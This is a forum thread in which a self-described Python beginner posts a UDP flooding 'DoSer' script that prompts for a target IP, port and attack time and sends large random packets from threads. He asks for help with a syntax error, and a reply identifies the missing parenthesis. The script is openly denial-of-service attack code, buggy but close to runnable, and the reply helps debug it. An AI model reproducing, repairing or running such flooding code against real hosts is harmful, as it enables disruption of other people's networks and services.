Stynax error where stynax is fine :(

[Fliz]

so I'm new to python and as a project I decided to make a DoSer with socket and _thread modules
but I keep getting a syntax error in a perfect line on line 19 I get the error:

Error:
 File "C:\Users\hbgra\Desktop\sandbox2.py", line 19
    sent = sent + 1
       ^
SyntaxError: invalid syntax.

heres the code:

import socket
import _thread
import os
import time
import random
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip=input("TARGET: ")
port=input("PORT: ")
duration=input("ATTACK TIME")
timeout = time.sleep(0.5)
os.system("cls")
sent = 0
def gooey(threadName):
	count = 0
	while count < 5:
		bytes = random._urandom(9999999)
		s.sendto(bytes,(ip, port)
		sent = sent + 1
		print('Sent ' + sent + ' packets')
###########################################		
_thread.start_new_thread( gooey ("Thread_1") )
_thread.start_new_thread( gooey ("Thread_2") )

Please Help!

you have missing closing parenthesis on line 17
Sometimes the error is on the line immediately before the one stated in the traceback
